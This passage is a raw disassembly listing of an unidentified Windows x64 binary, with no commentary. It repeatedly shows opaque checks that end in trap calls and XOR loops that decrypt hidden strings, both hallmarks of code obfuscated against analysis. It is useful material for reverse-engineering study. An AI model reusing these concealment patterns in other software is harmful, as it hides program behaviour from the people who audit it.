mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f9a8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f9a8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f9c8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
movdqa xmm0, xmmword [0x1400cbcf0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400cbcd0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x392f9155
mov dword [rbp + 0xbec], 0xbe900a05
mov dword [rbp + 0xbf0], 0x6a6f479a
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
mov qword [rsp + 0x20], 0xffffffffc24e8ac0
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.14001d5e4
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x14000fa11
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140008f88
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000fb1e
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x2857bde0
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fafe
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fafe
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fb1e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000fbc8
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fba8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fba8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fbc8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
lea rcx, [rbp + 0x9f8]
call fcn.14000e090
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140009098
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.14001e6f0
lea rcx, [rbp + 0x9f8]
call fcn.14001e62c
lea rcx, [rbp + 0x9f8]
call fcn.1400095a8
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000fcc0
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fca0
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fca0
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fcc0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000fd6a
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fd4a
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fd4a
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fd6a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov dword [rbp - 0x68], 0xfcd671cb
mov word [rbp - 0x64], 0x1b00
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
mov qword [rsp + 0x20], 0xffffffffc24e8ac0
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.14001d570
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, r14
jb 0x14000fd7f
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0xfcd663d2
mov word [rbp - 0x54], 0x1b00
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
mov qword [rsp + 0x20], 0xffffffffc24e8ac0
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14001d570
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, r14
jb 0x14000fdc3
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.14001e960
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.14001e338
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14001e48c
lea rcx, [rbp - 0x68]
call fcn.1400090f0
mov rcx, rax
call fcn.140009098
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.14001e178
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14001e48c
lea rdx, [0x1400e3800]
lea rcx, [rbp + 0xa78]
call fcn.14001e338
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14001e48c
lea rcx, [rbp + 0xa78]
call fcn.14001e62c
lea rcx, [rbp + 0xa78]
call fcn.1400095a8
lea rcx, [rbp + 0xa58]
call fcn.14001e62c
lea rcx, [rbp + 0xa58]
call fcn.1400095a8
lea rcx, [rbp + 0xa38]
call fcn.14001e62c
lea rcx, [rbp + 0xa38]
call fcn.1400095a8
mov rax, qword gs:[2]
cmp rax, r12
jne 0x14000ff6e
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ff4e
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ff4e
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ff6e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
cmp rax, r12
jne 0x140010018
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fff8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fff8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010018
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083498
int3
lea rcx, [rbp + 0x1208]
call fcn.14001dfa0
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.1400843c0
mov rax, qword gs:[2]
cmp rax, r12
jne 0x1400100dc
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400100bc
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400100bc
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400100dc
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140083498
int3
mov rax, qword gs:[2]
mov r14d, 0x2857bde0
cmp rax, r12
jne 0x14001019b
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r12
mov eax, esp